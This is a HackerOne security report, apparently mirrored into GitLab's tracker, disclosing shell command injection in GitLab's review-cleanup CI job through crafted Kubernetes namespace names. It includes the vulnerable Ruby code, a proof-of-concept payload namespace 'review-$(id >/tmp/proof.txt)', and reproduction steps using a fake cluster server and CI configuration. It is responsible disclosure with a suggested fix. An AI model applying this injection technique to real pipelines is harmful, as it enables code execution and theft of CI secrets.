Command injection in the review-cleanup job of gitlab-org/gitlab
HackerOne report #2280293 by imrerad
on 2023-12-10, assigned to GitLab Team
:
Report | Attachments | How To Reproduce
Report
Summary
There is a Gitlab feature called Review Apps:
https://docs.gitlab.com/ee/ci/review_apps/
In short, it is a way to dynamically deploy an application from a merge request so it can be tested easily. Some users use this feature to create a dedicated kubernetes namespace for each MR (and deploy a helm chart into it). One of the users of Review Apps is Gitlab itself, documentation can be found here.
This vulnerability report is about the way how these k8s namespaces are cleaned up by the official Gitlab pipeline.
A job called review-cleanup is present. It is documented here, and defined here. An example execution can be found here. The corresponding scheduled pipeline is called "[2-hourly] [maintenance] Full test run, Repo caching, Review Apps cleanup, Caches update" and can be found here.
The definition of the corresponding docker image (REVIEW_APPS_IMAGE) can be found here:
REGISTRY_HOST: "registry.gitlab.com"
REGISTRY_GROUP: "gitlab-org"
REVIEW_APPS_IMAGE: "${REGISTRY_HOST}/${REGISTRY_GROUP}/gitlab-build-images/ruby-3.0:gcloud-383-kubectl-1.23-helm-3.5"
The script scripts/review_apps/automated_cleanup.rb
is executed in this job to clean up the stale kubernetes namespaces (among some other housekeeping tasks). This script relies on Tooling::KubernetesClient that is vulnerable to shell command injection:
def namespaces_created_before(created_before:)
response = run_command("kubectl get namespace --all-namespaces --sort-by='{.metadata.creationTimestamp}' -o json")
items = JSON.parse(response)['items'] # rubocop:disable Gitlab/Json
items.filter_map do |item|
item_created_at = Time.parse(item.dig('metadata', 'creationTimestamp'))
item.dig('metadata', 'name') if item_created_at < created_before
end
rescue ::JSON::ParserError => ex
puts "Ignoring this JSON parsing error: #{ex}\n\nResponse was:\n#{response}"
[]
end
def delete_namespaces(namespaces)
return if namespaces.any? { |ns| !K8S_ALLOWED_NAMESPACES_REGEX.match?(ns) }
run_command("kubectl delete namespace --now --ignore-not-found #{namespaces.join(' ')}")
end
The function run_command
invokes Gitlab::Popen.popen_with_detail, but the command is assembled as a single string instead of leveraging the array syntax.
A compromised Kubernetes cluster (or agentk) could return namespaces that match the Review App regexp:
K8S_ALLOWED_NAMESPACES_REGEX = /^review-(?!apps).+/
But would contain shell metacharacters, for example: review-$(any arbitrary commands here)
Kubectl itself does not validate the namespace names returned by the cluster.
This allows the review-app Kubernetes cluster of gitlab-org/gitlab to execute arbitrary commands in the runner pipeline, despite the security boundary between them.
Steps to reproduce
This vulnerability is demonstrated by replicating the relevant parts of the gitlab-org/gitlab
setup and executing the same Ruby cleanup script (automated_cleanup.rb) against a malicious Kubernetes server (k8sra.py).
- Create a new project (e.g. review-cleanup-poc in the examples below) in your gitlab user (imre.rad in the examples below)
- Create a new empty file for the agent registration:
.gitlab/agents/review-app/config.yaml
- At Operate / Kubernetes clusters, click the Connect cluster button and select
review-app
and Register - Save the Agent access token to a file called glab-agentk-token.
- Spin up the emulated/malicious kubernetes cluster:
./k8sra.py --listen-port 9999 --namespace-name 'review-$(id >/tmp/proof.txt)'
- verify it is working as intended:
$ kubectl get ns --server http://127.0.0.1:9999
NAME STATUS AGE
review-$(id >/tmp/proof.txt) Active 22s
- Execute the following command on a host with docker installed. This will spin up the agent outside Kubernetes pointing to your fake kubernetes cluster:
docker run --network host --rm -it -v /path/to/glab-agentk-token:/etc/agentk/secrets/token -e POD_NAMESPACE=agentk-nsname -e POD_NAME=agent-podname \
registry.gitlab.com/gitlab-org/cluster-integration/gitlab-agent/agentk:v16.7.0-rc3 --kas-address=wss://kas.gitlab.com --token-file=/etc/agentk/secrets/token -s 127.0.0.1:9999
It is going to complain about not being able to lease locks, you can ignore those (I didn't implement the corresponding API methods in k8sra).
You should see some incoming requests in the k8sra window.
- In your project, create
.gitlab-ci.yml
with the following content (beware of indentation - attaching the file):
stages: # List of stages for jobs, and their order of execution
- build
build-job: # This job runs in the build stage, which runs first.
stage: build
image: registry.gitlab.com/gitlab-org/gitlab-build-images/ruby-3.0:gcloud-383-kubectl-1.23-helm-3.5
script: |
# .use-kube-context
kubectl config use-context ${CI_PROJECT_PATH}:review-app
# cloning the main repo (what gitlab-org/gitlab pipeline does automatically):
mkdir -p /builds/gitlab-org/gitlab
cd /builds/gitlab-org/gitlab
git clone https://gitlab.com/gitlab-org/gitlab.git .
# install_gitlab_gem
gem install httparty --no-document --version 0.20.0
gem install gitlab --no-document --version 4.19.0
# this is needed to call the environment related APIs; automated_cleanup.rb relies on this:
export GITLAB_PROJECT_REVIEW_APP_CLEANUP_API_TOKEN=$CI_JOB_TOKEN
# proof before:
ls -la /tmp/proof.txt || true
# run the vulnerable application, just like in the original pipeline
scripts/review_apps/automated_cleanup.rb --dry-run="${DRY_RUN:-false}"
# proof:
>&2 ls -la /tmp/proof.txt
>&2 cat /tmp/proof.txt
- Head to Build / Jobs and check the output of the job. You should see:
Running command: `kubectl delete namespace --now --ignore-not-found review-$(id >/tmp/proof.txt)`
And the output of the id
command that was executed via the crafted k8s namespace name.
Impact
See at the dedicated section below.
What is the current bug behavior?
The kubectl commands are executed through the shell interpreter and arbitrary strings could be injected into it by a compromised kubernetes cluster.
What is the expected correct behavior?
The kubectl commands should be executed bypassing the shell interpreter.
Relevant logs and/or screenshots
One screenshot about the job output attached.
Output of checks
This bug happens on GitLab.com
Impact
This attack can be exploited if the review-app k8s cluster of the gitlab-org/gitlab project is compromised. This may happen if the kube cluster:
- has a rogue operator (insider threat)
- is compromised; user contributed code is deployed here after all) e.g. via a supply chain attack
As a result, the attacker would gain code execution in the context of the runner VM executing the job. This way the attacker would gain access to project/organization related secrets and could modify/publish artifacts they shouldn't.
I think the likelihood is low, the impact is high, so the overall risk is probably medium. Luckily, this could be fixed easily by using the Gitlab::Popen interface properly.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section: